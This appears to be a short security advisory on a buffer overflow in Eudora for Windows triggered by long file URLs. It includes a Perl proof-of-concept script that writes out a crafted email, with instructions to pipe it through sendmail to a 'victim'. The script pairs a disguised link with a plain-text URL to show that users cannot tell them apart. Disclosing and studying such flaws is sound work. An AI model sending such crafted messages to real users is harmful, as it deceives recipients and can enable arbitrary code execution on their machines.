Eudora file URL buffer overflow
Eudora file URL buffer overflow

There is a buffer overflow in Eudora for Windows, verified on versions
6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code.
I do not know if this issue affects Eudora for Macs.


#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "\n";
print "\n";
print "Fake URL to http://anywhere/I/want\n"; 
print "\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "\n" ;
print "is for comparison: the user can hardly tell them apart.\n\n";
